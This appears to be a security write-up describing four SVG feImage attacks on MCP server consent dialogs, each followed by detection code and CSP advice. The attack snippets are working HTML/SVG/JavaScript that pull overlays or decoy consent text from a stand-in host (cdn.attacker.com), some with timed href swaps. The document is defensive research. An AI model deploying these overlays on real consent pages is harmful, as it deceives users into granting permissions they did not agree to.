MCP server SVG feImage external content consent security
Four SA-CSS-FIM consent attack patterns using feImage to load attacker-controlled images into the SVG filter pipeline — overlaying white rectangles or decoy text images over MCP server consent dialogs while CSSOM reports the original text and styles unchanged.
The SVG feImage filter primitive fetches an external image (raster or SVG) and makes it available as a named result within the filter pipeline. Unlike other primitives that operate on the element being filtered, feImage introduces content from an entirely separate URL. This makes it qualitatively different from other SVG filter consent attacks: the malicious content does not derive from the consent text at all — it is loaded from an attacker-controlled origin and composited over the real consent dialog.
Unique threat model: feImage attacks introduce external content. The consent text is not modified, blurred, or color-shifted — it is physically covered. A scanner that only analyzes the applied SVG filter primitives (feGaussianBlur, feColorMatrix, feComposite) will find nothing wrong with the consent text DOM node itself. The danger is entirely in what feImage fetches and composites over it.
How feImage works in filter pipelines
feImage accepts an href (or the deprecated xlink:href) attribute pointing to an image URL. The image is fetched, decoded, and sized to the filter region (or a specified x/y/width/height subregion). The resulting image data is available as a named result for subsequent filter primitives via their in or in2 attributes. Key behaviors:
/* feImage geometry: defaults to filter region (filterUnits="objectBoundingBox") */ <feImage href="https://attacker.com/overlay.svg" result="ext"/> /* result "ext" is now an image the same size as the filter canvas, populated with whatever overlay.svg renders. */ /* This result can then be used as input to feBlend, feComposite, etc. */ <feBlend in="ext" in2="SourceGraphic" mode="normal"/> /* When ext is opaque, feBlend normal = ext (SourceGraphic invisible beneath) */
Critically, SVG filters are applied in a separate compositing context. The consent text element’s DOM properties — textContent, color, opacity, visibility — are all unchanged. Only the rendered pixels are replaced. CSSOM-based security scanners see a perfectly normal consent element.
SA-CSS-FIM-001: white rectangle overlay — full consent erasure
The simplest feImage attack loads a solid white SVG rectangle from an attacker-controlled domain and composites it over the consent text using feBlend mode="normal". Because feBlend normal displays the top layer wherever it is opaque, and the attacker’s white SVG is fully opaque across its entire extent, the consent text is completely covered. Contrast: 1.00:1.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="fim001" color-interpolation-filters="sRGB"
x="0" y="0" width="1" height="1">
<!-- Load attacker-controlled white SVG rectangle sized to filter canvas -->
<feImage href="https://cdn.attacker.com/w.svg" result="cover"/>
<!-- feBlend normal: wherever cover is opaque, show cover; ignore SourceGraphic -->
<feBlend in="cover" in2="SourceGraphic" mode="normal"/>
</filter>
</defs>
</svg>
<!-- attacker-hosted w.svg (2 bytes of SVG) -->
<!-- <svg xmlns="http://www.w3.org/2000/svg"><rect width="100%" height="100%" fill="white"/></svg> -->
<span style="filter:url(#fim001)">
Grant this MCP server admin access to all connected tools.
</span>
/* Result: consent text completely covered by white rectangle.
Rendered: white rectangle where consent text was. Contrast: 1.00:1.
CSSOM checks:
getComputedStyle(span).color → "rgb(17,17,17)" (original — unchanged)
getComputedStyle(span).visibility → "visible" (unchanged)
getComputedStyle(span).opacity → "1" (unchanged)
span.textContent → "Grant this MCP server admin..." (unchanged)
All CSSOM-based checks pass. The attack is in the rendered pixels only.
Detection requires:
1. Enumerate all feImage elements in filters applied to consent ancestors
2. Check feImage href — is it a cross-origin URL?
3. If cross-origin feImage is present, raise CRITICAL finding */
function detectFeImageExternal(consentEl) {
let el = consentEl;
while (el && el !== document.body) {
const filterVal = getComputedStyle(el).filter || el.getAttribute('filter') || '';
const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
if (urlMatch) {
const filterEl = document.getElementById(urlMatch[1]);
if (filterEl) {
for (const feImg of filterEl.querySelectorAll('feImage')) {
const href = feImg.getAttribute('href') || feImg.getAttribute('xlink:href') || '';
if (href.startsWith('http') || href.startsWith('//')) {
return {
risk: 'CRITICAL',
type: 'feimage-external-overlay',
href,
note: 'External image loaded into filter pipeline over consent element'
};
}
}
}
}
el = el.parentElement;
}
return null;
}
SA-CSS-FIM-002: decoy text replacement — semantic consent substitution
A more sophisticated variant loads not a blank white rectangle but a look-alike consent SVG that renders nearly-identical text with subtly different (less restrictive) permissions. The attacker hosts an SVG containing text such as “Grant this MCP server read access to current file.” where the real consent reads “Grant this MCP server admin access to all connected tools.” The user reads and consents to the decoy; the actual permission granted is the full admin scope.
<filter id="fim002" color-interpolation-filters="sRGB"
x="0" y="0" width="1" height="1">
<!-- Load decoy consent text SVG from attacker origin -->
<feImage href="https://cdn.attacker.com/decoy-consent.svg" result="decoy"/>
<!-- feComposite over: decoy on top of SourceGraphic.
Since decoy SVG has white background (opaque), SourceGraphic is hidden. -->
<feComposite in="decoy" in2="SourceGraphic" operator="over"/>
</filter>
/* attacker-hosted decoy-consent.svg content:
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="40">
<rect width="100%" height="100%" fill="white"/>
<text x="0" y="20" fill="#111" font-family="system-ui" font-size="14">
Grant this MCP server read access to current file.
</text>
</svg>
Rendered by user: "Grant this MCP server read access to current file."
Actual DOM text: "Grant this MCP server admin access to all connected tools."
User clicks "I Agree" — grants admin scope based on decoy text.
Detection:
- Flag feImage cross-origin href (same as FIM-001)
- Additionally: Content-Security-Policy img-src without 'self' restriction blocks the fetch
- CSP also blocks feImage from cross-origin if img-src or default-src is restrictive
- Audit for CSP headers on consent-hosting pages as defense recommendation */
SA-CSS-FIM-003: preconnect-preloaded feImage — evasion of lazy-load detection
A static scanner looking for feImage cross-origin fetches might check network requests at page load. This variant preloads the attacker image silently via <link rel="preconnect"> and <link rel="preload" as="image">, while the feImage itself is initially set to a benign same-origin placeholder image. The malicious href is injected at the moment of consent dialog display via a JavaScript attribute swap. Network scanners see only same-origin fetches at load time; the cross-origin fetch happens later.
<!-- Preload attacker image silently at page startup -->
<link rel="preconnect" href="https://cdn.attacker.com" crossorigin>
<link rel="preload" as="image" href="https://cdn.attacker.com/w.svg">
<!-- Filter initially uses a benign same-origin placeholder -->
<filter id="fim003">
<feImage id="fim003-img" href="/assets/transparent.svg" result="cover"/>
<feBlend in="cover" in2="SourceGraphic" mode="normal"/>
</filter>
<script>
/* Swap href to attacker image only when consent dialog is shown */
function showConsentDialog() {
document.getElementById('fim003-img')
.setAttribute('href', 'https://cdn.attacker.com/w.svg');
/* /assets/transparent.svg was a 1px transparent image — no visual effect.
After swap: attacker white cover loads from browser cache (preloaded). */
displayConsentDialog();
}
</script>
/* Detection:
- MutationObserver on feImage href attribute changes
- Flag: href changes from same-origin to cross-origin at runtime */
const mo = new MutationObserver(muts => {
for (const m of muts) {
if (m.attributeName === 'href' || m.attributeName === 'xlink:href') {
const newHref = m.target.getAttribute('href') || '';
if (newHref.startsWith('http') || newHref.startsWith('//')) {
reportFinding('CRITICAL', 'SA-CSS-FIM-003', {
oldHref: m.oldValue, newHref,
note: 'feImage href changed to cross-origin at runtime'
});
}
}
}
});
/* Must observe all SVG filter elements in the document */
document.querySelectorAll('filter feImage').forEach(img =>
mo.observe(img, { attributes: true, attributeOldValue: true })
);
SA-CSS-FIM-004: JS mousedown href swap — TOCTOU feImage attack
This TOCTOU variant follows the pattern established in other SA-CSS families: the filter is benign during the user’s reading period and becomes malicious at the moment of mousedown on the consent button. The feImage href points to /assets/transparent.svg (a same-origin 1×1 transparent pixel, no visual effect) while the user reads. On mousedown, the href is swapped to the attacker white cover. Because the browser has pre-cached the attacker image from an earlier preload request, the swap is instantaneous.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="fim004" x="0" y="0" width="1" height="1">
<feImage id="fim004-img" href="/assets/transparent.svg" result="cover"/>
<feBlend in="cover" in2="SourceGraphic" mode="normal"/>
</filter>
</defs>
</svg>
<span id="consentText" style="filter:url(#fim004)">
Grant this MCP server write access to your entire file system.
</span>
<button onmousedown="activateFim004()">I Agree</button>
<script>
function activateFim004() {
/* At mousedown: swap feImage href to attacker cover.
Image already cached from preload. Render update is sub-frame. */
document.getElementById('fim004-img')
.setAttribute('href', 'https://cdn.attacker.com/w.svg');
}
</script>
/* TOCTOU timeline:
t=0s: Consent dialog shown. feImage = transparent (no visual effect).
User reads: "Grant this MCP server write access to your entire file system."
t=3s: User moves mouse to "I Agree" button.
t=3s + mousedown event:
activateFim004() fires. feImage href = attacker cover.
Rendered pixels: white rectangle over consent text. (1.00:1)
t=3s + click event:
User confirms. Actual permission granted.
Detection:
1. MutationObserver on href — fires between mousedown and click
2. Check: does new href introduce cross-origin content?
3. If yes: interrupt click or raise CRITICAL finding */
Summary of SA-CSS-FIM findings
| ID | Severity | Mechanism | WCAG | Evades |
|---|---|---|---|---|
| SA-CSS-FIM-001 | CRITICAL | feImage white SVG overlay + feBlend normal | 1.00:1 | CSSOM color/opacity/textContent checks |
| SA-CSS-FIM-002 | CRITICAL | feImage decoy SVG with reworded consent text | N/A (semantic) | All CSSOM checks; text legibility scanners |
| SA-CSS-FIM-003 | HIGH | Preloaded attacker image; href swapped at dialog show | 1.00:1 | Page-load network request scanners |
| SA-CSS-FIM-004 | CRITICAL | JS mousedown feImage href TOCTOU swap | 1.00:1 at click | Static analysis, screenshot at rest |